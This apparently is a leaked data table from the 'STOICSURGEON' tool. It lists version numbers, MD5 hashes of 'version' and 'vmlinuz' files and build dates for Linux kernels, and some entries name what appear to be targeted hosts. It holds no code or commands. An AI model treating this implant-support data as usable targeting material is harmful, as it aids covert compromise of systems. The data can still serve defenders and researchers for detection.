STOICSURGEON-X86-LINUX-FEDORA6 Wed Oct 10 2012 +1.7.37.8 e0004d5db351966ed802598b746fede4 version STOICSURGEON-X86-LINUX-FEDORA6 Wed Oct 10 2012 +1.7.37.8 9d0e7712a8e5285d257fbce9b2ea5add vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Wed Oct 10 2012 +1.7.37.8 f8006def039efdd067964c05363ba13a version STOICSURGEON-X86-LINUX-FEDORA6 Wed Oct 10 2012 +1.7.37.8 d96537d4d823827052de683b8cbf8772 vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Wed Oct 10 2012 +1.4.28.5 bff57a4ea943203ce7e61d7d24589462 version STOICSURGEON-X86-LINUX-FEDORA6 Wed Jan 28 2009 +1.4.28.5 69a9a365aefdc12877f386f06698ab03 vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Wed Jan 28 2009 +1.4.33.3 bff57a4ea943203ce7e61d7d24589462 version STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 69a9a365aefdc12877f386f06698ab03 vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 e0004d5db351966ed802598b746fede4 version STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 ffad74dca71c697fdef128031d7d6c25 vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 f8006def039efdd067964c05363ba13a version STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 93b60d3e52ddb05bd1b28f89d196273c vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 92466414f8db26843532f4d4acef0ac0 version STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 6c0428cf7847ab6cd9d0bf33a4c0d9eb vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 2b05ad74b6a82fcb998d1dbc58fc2efc version STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.33.3 c85de54ec445dfd79816f5b0c450f5ff vmlinuz STOICSURGEON-X86-LINUX-FEDORA6 Tue Mar 24 2009 +1.4.28.9 361091528db2cdc98f3249388ff90ddf version STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.9 808cc200a60485c40bd1d00a861a8b9c vmlinuz STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.9 8e883e3ce9e6e48073b6294f47e00008 version STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.9 2698e3dbcc3567bb3599d5a4e09e324e vmlinuz STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.9 ed7273ba15b888e32933b5d7b9c83635 version STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.9 138ef86c302dbc59ff495c995872478d vmlinuz STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.9 ed7273ba15b888e32933b5d7b9c83636 version STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.9 61daead92d37f88fbb7ec0234a9bbde2 vmlinuz STOICSURGEON-X86-LINUX-FEDORA3 Mon Feb 2 2009 +1.4.28.7 6af0c991b67432d46804f4c1e0620919 version STOICSURGEON-X86-LINUX-TILTTOP-REDHOUSE-VEGA-INT-RU Mon Feb 2 2009 +1.4.28.7 8cd04cbfb3cb9a34a0067b896463a446 vmlinuz STOICSURGEON-X86-LINUX-TILTTOP-REDHOUSE-VEGA-INT-RU Mon Feb 2 2009 +1.4.28.8 b46668c0d4a88e1f50ead00cfe1f1086 version STOICSURGEON-X86-LINUX-TILTTOP-BILL-VEGA-INT-RU Mon Feb 2 2009 +1.4.28.8 f7c92335981d775f5d85abad64a7c901 vmlinuz STOICSURGEON-X86-LINUX-TILTTOP-BILL-VEGA-INT-RU Mon Feb 2 2009 +1.4.28.4 9143fc12b9dc08f8a59ec50054c09702 version STOICSURGEON-X86-LINUX-CRYPTICSENTINAL-MAILSER Wed Jan 28 2009 +1.4.28.4 1c340ea311fab45454d21269adc92249 vmlinuz STOICSURGEON-X86-LINUX-CRYPTICSENTINAL-MAILSER Wed Jan 28 2009 +1.4.28.4 6f93df6e220c93bcaa00a4f21298692c version STOICSURGEON-X86-LINUX-CRYPTICSENTINAL-MAILSER Wed Jan 28 2009 +1.4.28.4 ab0910963551d0312ce3a39dca73f534 vmlinuz STOICSURGEON-X86-LINUX-CRYPTICSENTINAL-MAILSER Wed Jan 28 2009 +1.4.28.4 5bb1762b93053a4fd8eb83d9ebb8d886 version STOICSURGEON-X86-LINUX-CRYPTICSENTINAL-MAILSER Wed Jan 28 2009 +1.4.28.4 d6b4d74c88ff6bdb247c5e3a44fa2a0e vmlinuz STOICSURGEON-X86-LINUX-CRYPTICSENTINAL-MAILSER Wed Jan 28 2009 +1.4.30.1 1bc6985ccc6c483eade40b7ce8282bd8 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Fri Feb 6 2009 +1.4.30.1 29b30c6573159d8a6fb4427bfe0c8216 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Fri Feb 6 2009 +1.4.30.1 7265b671fe08c6a54b886818195e2d85 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Fri Feb 6 2009 +1.4.30.1 82f6e8b8af8aae626a0b7c27ccc498d2 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Fri Feb 6 2009 +1.4.30.1 4d0bc7b8818ce352fc9ea5c9436549fd version STOICSURGEON-X86-LINUX-CENTOS-5.2 Fri Feb 6 2009 +1.4.30.1 895a1ab561cd3e498f9d486ebc9cca38 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Fri Feb 6 2009 +1.5.12.9 1bc6985ccc6c483eade40b7ce8282bd8 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.12.9 ce39b88a01d40745677be9ac7fb06da5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.12.9 7265b671fe08c6a54b886818195e2d85 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.12.9 0b40b6d4a0fe0472ac6718fbb47ff1ff vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.12.9 4d0bc7b8818ce352fc9ea5c9436549fd version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.12.9 3bd8820bd48366a786eee687542165b8 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.12.9 b532529c3900795e7e8993b8d752174a version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.12.9 ae21d88fd7fcb2a9780d58650fbe3ee7 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Sep 30 2009 +1.5.16.14 1bc6985ccc6c483eade40b7ce8282bd8 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 ce39b88a01d40745677be9ac7fb06da5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 8d90a90d1128fe2de9cce2cd33f4e5bb version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 9913dda841963f12a7c141c459ac9126 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 7265b671fe08c6a54b886818195e2d85 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 0b40b6d4a0fe0472ac6718fbb47ff1ff vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 4d0bc7b8818ce352fc9ea5c9436549fd version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 3bd8820bd48366a786eee687542165b8 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 30a3aa915a40f82d1c6773442bb6e867 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 9f527d644b64c518a266316b82603423 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 aca181c75f73a61974d6909ebd2ec40c version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 c7c2a10d187de906288c0f03829b95e3 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 0ba7d2612904a9e3ef70a2169fc01d94 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 037f547b97b59d19a7e97d468151d2d6 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 b532529c3900795e7e8993b8d752174a version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 ae21d88fd7fcb2a9780d58650fbe3ee7 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 a52ee836be7323ae10a70514d6357537 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 110f148afc83109bd4187134c413c2b0 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 1f821efb6b721f8efde63c5b185c76cb version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 046ed77d027f1b2565ed9e677e0c253c vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 28ebfe257860f14ff822bbe83b200c9e version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 683e680f97127559d16032813ae3eba7 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 b697251e2f012bba447cb18d0013be6b version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 1f5a77c8a9a75d6491f4792f42e42458 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 b953ef90e0ab46775b853be169538543 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 22292476f2bd0cb1727d7becd8085600 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 13f6bac9a37718747b6dc4ab96426c47 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 764a2655b7ab4640f5a9287f8b6296ef vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 eee532f247eb5c7ee6a46a23c60740b8 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 cb651efcb270452b3be3f792e3ac0907 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 61703423034c3b5cf9ae16105be74194 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.16.14 73390f1a56b29811f0f2a451f10dbeea vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Wed Oct 21 2009 +1.5.29.2 1bc6985ccc6c483eade40b7ce8282bd8 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 ce39b88a01d40745677be9ac7fb06da5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 8d90a90d1128fe2de9cce2cd33f4e5bb version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 9913dda841963f12a7c141c459ac9126 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 7265b671fe08c6a54b886818195e2d85 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 0b40b6d4a0fe0472ac6718fbb47ff1ff vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 4d0bc7b8818ce352fc9ea5c9436549fd version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 3bd8820bd48366a786eee687542165b8 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 30a3aa915a40f82d1c6773442bb6e867 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 9f527d644b64c518a266316b82603423 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 aca181c75f73a61974d6909ebd2ec40c version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 c7c2a10d187de906288c0f03829b95e3 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 0ba7d2612904a9e3ef70a2169fc01d94 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 037f547b97b59d19a7e97d468151d2d6 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 b532529c3900795e7e8993b8d752174a version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 ae21d88fd7fcb2a9780d58650fbe3ee7 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 a52ee836be7323ae10a70514d6357537 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 110f148afc83109bd4187134c413c2b0 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 1f821efb6b721f8efde63c5b185c76cb version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 046ed77d027f1b2565ed9e677e0c253c vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 28ebfe257860f14ff822bbe83b200c9e version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 683e680f97127559d16032813ae3eba7 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 b697251e2f012bba447cb18d0013be6b version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 1f5a77c8a9a75d6491f4792f42e42458 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 b953ef90e0ab46775b853be169538543 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 22292476f2bd0cb1727d7becd8085600 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 13f6bac9a37718747b6dc4ab96426c47 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 764a2655b7ab4640f5a9287f8b6296ef vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 eee532f247eb5c7ee6a46a23c60740b8 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 cb651efcb270452b3be3f792e3ac0907 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 61703423034c3b5cf9ae16105be74194 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 73390f1a56b29811f0f2a451f10dbeea vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 75aefe12deb4a4aef7b8db67c219b51e version STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.5.29.2 3e351cc4e4710ce9cd88fc8fac9557ef vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Tue Jun 29 2010 +1.4.23.3 1bc6985ccc6c483eade40b7ce8282bd8 version STOICSURGEON-X86-LINUX-CENTOS-5.2 Thu Oct 2 2008 +1.4.23.3 29b30c6573159d8a6fb4427bfe0c8216 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Thu Oct 2 2008 +1.4.23.3 4d0bc7b8818ce352fc9ea5c9436549fd version STOICSURGEON-X86-LINUX-CENTOS-5.2 Thu Oct 2 2008 +1.4.23.3 895a1ab561cd3e498f9d486ebc9cca38 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.2 Thu Oct 2 2008 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 share export STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 7edd3a2c1cc5ca4eb629770406856bd9 version STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 90f1e3b60caf792bf91066ab75e0d7d4 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 172f12173d147fbc89824562e0aa9e3f version STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 cd23994c39661cad3a4a2cf838ccbae5 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 168fc69305ab991f983d460d32ca56fb version STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 fe399cebe0873f2ac3e22fe71fd3d8f7 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 65cc24d61ca184892516293ce44c69de version STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 c364d848514e46f606f3e9522fd8ff55 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 62f32c40bf6fd1f474f3b1e57be2b976 version STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.7.53.5 6f88b33ae14a3f5e0d7779c05823675a vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Tue Mar 12 2013 +1.4.31.3 7edd3a2c1cc5ca4eb629770406856bd9 version STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.3 90f1e3b60caf792bf91066ab75e0d7d4 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.3 172f12173d147fbc89824562e0aa9e3f version STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.3 cd23994c39661cad3a4a2cf838ccbae5 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.3 65cc24d61ca184892516293ce44c69de version STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.3 c364d848514e46f606f3e9522fd8ff55 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.3 168fc69305ab991f983d460d32ca56fb version STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.3 67c8c91b2ac409effe80dc3f3c1851c5 vmlinuz STOICSURGEON-X86-LINUX-FEDORA5 Fri Feb 13 2009 +1.4.31.4 0e954da2b4c20cd5d3c8265b3a2f6a6a version STOICSURGEON-X86-LINUX-TILTTOP-GAMMACH70.CHEL.SU Fri Feb 13 2009 +1.4.31.4 29431c5d0e0f9188642212a381d7d841 vmlinuz STOICSURGEON-X86-LINUX-TILTTOP-GAMMACH70.CHEL.SU Fri Feb 13 2009 +1.4.30.4 63bcd363927de0fcf7631f10b37d59a9 version STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 a444b483331456605d8af81163be7884 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 9dfd2271413c2c3ef911cb72686bd74d version STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 a8d56a538108cec0775b8633c208a854 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 eed7797714f70607347708534710ee10 version STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 8ecd8ccb2a8b10bc617cce457042a8f0 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 1f21749ee4e4997c45d973111170efce version STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 2f9b082fcfa7a3d001eccf3cc2b853af vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 3065386addfae8b0d54edab9faa52d49 version STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 cf3e1170af28a657da9ec8292e61d612 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 8fdd92ccf4ab4b809ac2632772bdb3d3 version STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.30.4 9c476d31b75b612482745defcabe6149 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.3 Mon Feb 9 2009 +1.4.31.6 094c7fb134fdd82e1a3850223ccabfd8 version STOICSURGEON-X86-LINUX-VINIFERA-BS003V01 Fri Feb 20 2009 +1.4.31.6 998e08c650dd55067de23736d3738062 vmlinuz STOICSURGEON-X86-LINUX-VINIFERA-BS003V01 Fri Feb 20 2009 +1.7.23.1 3448afa42e9edca35cad054c4fe01ce7 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 9963b2d819e62b6a3439616e296da6c4 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 ecd19be9c6b9eaf3c578250b4653a8db version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 a7a6a1d88660615f357fef276140ddd7 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 a2860bd2ab2027c90468c1fea51aa762 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 a7e709357edc2aa184342d24d8a1b670 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 891418d2ac50f8070d8d1f840a09fa20 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 72abf3d8ae553a509ce40c2309aa9127 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 c2ce334b08c0ee1a19ec5dd2593e67d9 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 5c8b4a7e0d0e7f70b1ad856d64ac9bcf vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 5eab3941613ca0dc3009801d7791be1f version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 dbf38cc6cdfa89d86e8f2b2fe2b56c60 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 51078d386557c13ba661d592ba9d5f92 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 0e41364cf08de2b9a189bbe13c319bd0 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 d5cbc5a798e86d3013bbdbd9ecdf4b78 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 c4238c42ddec78305aedf3b9d1bcad04 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 ddbff7ae4e212fdad48f747ab6e3d75e version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 1fed33ba3f2d53affc2404771850c742 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 446c552693f98060d930f64a524b0e5b version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 080f036d42b41bfdc49cb862625990dc vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 f5d8db39a6f00973324f21edc397016e version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 ddf0aac5f5ec383dedc4ef83c599ac91 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 f73bf410aa9b4a7781d9473958cf227e version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 7bed9058e5ab8fa562398318636d3810 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 59a3789a7eec66a2b55120f322bb0e3a version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 6f3bbac9e8d9c237cabf8830cc38ca26 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 c377f35461436678ee6f20eac6d221a0 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 b19d6c868422958a295108c464b6b40f vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 9599ed31413a45d9521ad74450eed803 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 42f00f151ae7c0483b0dabd7529dbe01 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 e0c9dbd76a5cfc1d5bb1521b9b9688eb version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 94840ee9c325e8d1bee60f2ddae979bf vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 0e63d753d1f5ef87b7451479b683802b version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 7c842f481bb9577ec3f54c2906e7544f vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 ffeee380dcf849e275045853eeab0548 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 0d2257ce30597def02b52275aa639f6c vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 89250918e6e148617574db3fa7e19ede version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 ab175ddc446fee4ec09e8310217c71f8 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 f9add5459d84fd10b5e7b4e83857136a version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 c12aa49e82d73c7a31eefd43e3d467e4 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 15e4a3e00faedf8b83272fd5266cc958 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-3.0 Tue Mar 13 2012 +1.7.23.1 